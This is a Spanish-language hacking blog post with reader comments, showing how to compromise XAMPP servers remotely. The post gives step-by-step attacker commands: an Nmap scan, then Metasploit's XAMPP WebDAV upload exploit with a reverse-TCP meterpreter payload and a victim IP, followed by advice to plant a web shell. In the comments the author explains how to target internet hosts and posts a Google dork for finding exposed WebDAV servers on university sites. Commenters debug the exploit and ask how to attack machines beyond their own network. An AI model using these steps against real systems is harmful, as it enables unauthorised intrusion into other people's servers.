jueves, 20 de diciembre de 2012

[Metasploit] Hackeando XAMPP Remotamente (Windows XP - 7 - 8)



------------------------------------------------------------------------------------------------------------------
XAMPP es una forma fácil de instalar la distribución Apache que contiene MySQL, PHP y Perl. XAMPP es realmente simple de instalar y usar - basta descargarlo, extraerlo y comenzar.

La distribución de Windows 2000, 2003, XP, Vista y 7 contiene Apache, MySQL, PHP + PEAR, Perl, mod_php, mod_perl, mod_ssl, OpenSSL, phpMyAdmin, Webalizer, Mercury Mail Transport System for Win32 and NetWare Systems v3.32, Ming, FileZilla FTP Server, mcrypt, eAccelerator, SQLite, and WEB-DAV + mod_auth_mysql.
------------------------------------------------------------------------------------------------------------------


Actualmente el servicio XAMPP, usado por la mayoria de webmasters y usuarios que se dedican a la Programación Web son totalmente vulnerables y se ha creado un modulo en metasploit que explota contraseñas débiles WebDAV en los servidores XAMPP y utiliza credenciales proporcionadas para subir una carga útil de PHP y ejecutarlo. El exploit se encuentra disponible desde XAMPP WebDAV PHP Upload y los pasos para aprovecharse de esta vulnerabilidad, son los siguientes:

REQUERIMIENTOS:

  • BackTrack 5 R1 - R2 o R3 (Atacante)
  • Metasploit Framework (Atacante)
  • Windows XP - 7 - 8 (Victima)
  • XAMPP (Victima)

PROCEDIMIENTOS:

Primeramente tenemos que detectar si la PC victima esta ejecutando el servicio XAMPP, para ello usaremos Nmap, ejecutando el siguiente comando:
  • nmap -sS -T4 -A 192.168.1.38

Si los resultados se muestran tal cual con la imagen de arriba, quiere decir que la PC victima esta ejecutando el servicio XAMPP en el puerto 80 y 443, entonces para aprovecharnos de la vulnerabilidad mencionada lineas arriba, simplemente abriremos metasploit y ejecutamos los siguientes comandos:

-------------------------------------------------------------------------------------------------------------
use exploit/windows/http/xampp_webdav_upload_php
set payload php/meterpreter/reverse_tcp
set Lhost 192.168.1.36 (Nuestra IP)
set RHOST 192.168.1.38 (IP Victima)
exploit
-------------------------------------------------------------------------------------------------------------



Estos comandos haran que se ejecute un payload en php la cual automaticamente se "subira" en el servicio XAMPP de la PC victima.



Seguidamente si todo se realizo correctamente, recibiremos la session meterpreter gracias al payload que metasploit subio al servicio XAMPP vulnerable.


Lo demas ya queda a nuestra total disposicion, en este caso podemos subir una web shell ya que XAMPP es un servicio web, por lo que podemos ingresar desde nuestro navegador a la IP vulnerada y ejecutar comandos desde la shell.

Espero les sirva y practiquen ;)

27 comentarios:

  1. en caso tal de que el servidor estuviera en internet y como muestras en la imagen es una red local como seria se tendria que abrir algun puerto o como podria ser

    ResponderEliminar
    Respuestas
    1. Hola,

      Simplemente colocas la IP de la web en RHOST y especificas el puerto con RPORT.

      Saludos.

      Eliminar
  2. Fantastico tutorial y fantastica explicación, solo lo resumiere en tres palabras. ERES UN CRACK

    atte: BTshell

    ResponderEliminar
  3. El exploit esta ligado a alguna versión especifica del Xamp :O o desde una x version a una x version?

    Muy buen tutorial!

    ResponderEliminar
  4. los tutos que haces son solo en red lan, deberias hacerlas netamente con hosts netamente de internet.

    ResponderEliminar
    Respuestas
    1. Hola,

      De hecho, los tutoriales que muestro siempre son como prueba de lo que se puede realizar en un ataque real.

      Saludos.

      Eliminar
    2. Creo que algunos XAMPP tienen el webdav "apagado" o muchas veces, lo desactivan por cuestiones de seguridad, encontrar un server asi con webdav, creo que ultimamente esta dificil...

      Eliminar
    3. Hola,

      Muy cierto, pero nuestro amigo Google siempre nos ayuda usando los famosillos dork's.

      Ejemplo:

      intitle:"index.of" intext:"(Win32) DAV/2" intext:"Apache" site:edu

      Sitios:

      http://www.engl.niu.edu/webdav/
      http://www.engl.niu.edu/webdav/

      Siempre es bueno usar nuestra imaginación.

      Un saludo.

      Eliminar
  5. Vaina loca dijo:Esta chido tu blog cuando me levanto lo primero que hago es mirar si hay algo nuevo
    sige aportando aqui tienes un seguidor

    ResponderEliminar
    Respuestas
    1. Hola,

      Gracias por tus comentarios, un abrazo a la distancia.

      Saludos.

      Eliminar
  6. A mi me tira este error:

    [-] Exploit failed: NoMethodError undefined method `split' for nil:NilClass

    Parece un problema de dependencias, ¿a alguien mas le pasa? Probé con varios payloads y sale siempre lo mismo.

    ¿Alguna ayuda?

    Un saludo

    ResponderEliminar
    Respuestas
    1. Hola,

      ¿Estas realizando las pruebas hacia una virtual o un host?

      ¿Estas usando el payload set payload php/meterpreter/reverse_tcp?

      Espero tu respuesta.

      Eliminar
    2. Estoy lanzando el exploit contra un servidor externo propio utilizando un bind_tcp, pero he probado a utilizar un reverse_tcp con port forwarding a mi red y me sigue saltando el error.

      Este es el output completo:

      [*] Uploading Payload to /webdav/random.php
      [-] Exploit failed: NoMethodError undefined method `split' for nil:NilClass
      [*] Exploit completed, but no session was created.

      A mi me parece un problema de una librería de ruby en local mas que algún tema de red o configuración.

      Eliminar
    3. Trata de probarlo en una virtual, si el error persiste, puede que sea problemas externos.

      Si llega funcionar en la virtual, entonces lo otro seria es problema del exploit.

      saludos.

      Eliminar
    4. No es problema del exploit, yo tenia el mismo problema pero era por que no modifique el RPORT ya que por default es el 80 y era el 443.
      Espero te funcione

      Eliminar
  7. Excelente blog, muy bien explicado, grande exploit ! gracias por compartir funciona de 10

    ResponderEliminar
  8. muy buena explicacion pero mi pregunta es hay alguna forma de hackear una pc si q tenga esos programas instalados los videos que he visto son en la misma red o en maquinas virtuales pero no funciona fuera de la red .. hay alguna manera d hacerlo ???

    ResponderEliminar
    Respuestas
    1. Hola,

      Si se puede, simplemente tienes que indicar la ip de la victima en RHOST y el puerto en RPORT.

      Saludos.

      Eliminar
  9. Hola Caleb Bucker, una consulta de que pais eres ?, lo que pasa es que soy de peru, y hay un post tuyo donde utilizas sqlmap hacia las universidades peruanas, bueno quisiera saber si eres de peru y si sabes si aqui hay algun tipo de conferencias de seguridad o algo asi.

    saludos

    ResponderEliminar
  10. Hola Caleb, eres un genio tio. No me la pierdo ni uno de tus articulos, me das ganas de aprender mas y mas...y tengo 50 añitòs..sigue asi chaval. Un dia gracias a ti seremos todos expertos en hack...jeje.
    Un grande abrazo desde Barcelona
    Dani

    ResponderEliminar
  11. [-] failed to upload file , que puede ser que haya pasado?

    ResponderEliminar
  12. Hai algun post sobre servidores que utilizan Nginx?
    http://pt.wikipedia.org/wiki/Nginx

    ResponderEliminar
  13. bueno yo estaria en el meterprete alguno me dice como subo la shell a la web es que soy muy noob y no se cuales son bien los comandos para subirlo

    ResponderEliminar
  14. Para poder hacer un ataque fuera de LAN se ocupa un VPS para que la ip publica reciba eso no?

    ResponderEliminar
  15. esto es falso si el servidor es redigido desde otra parte y por una ip dinamica yo quiero que me digas como lo vas a abrir?

    ResponderEliminar
  16. Como nos podríamos proteger del ataque?

    ResponderEliminar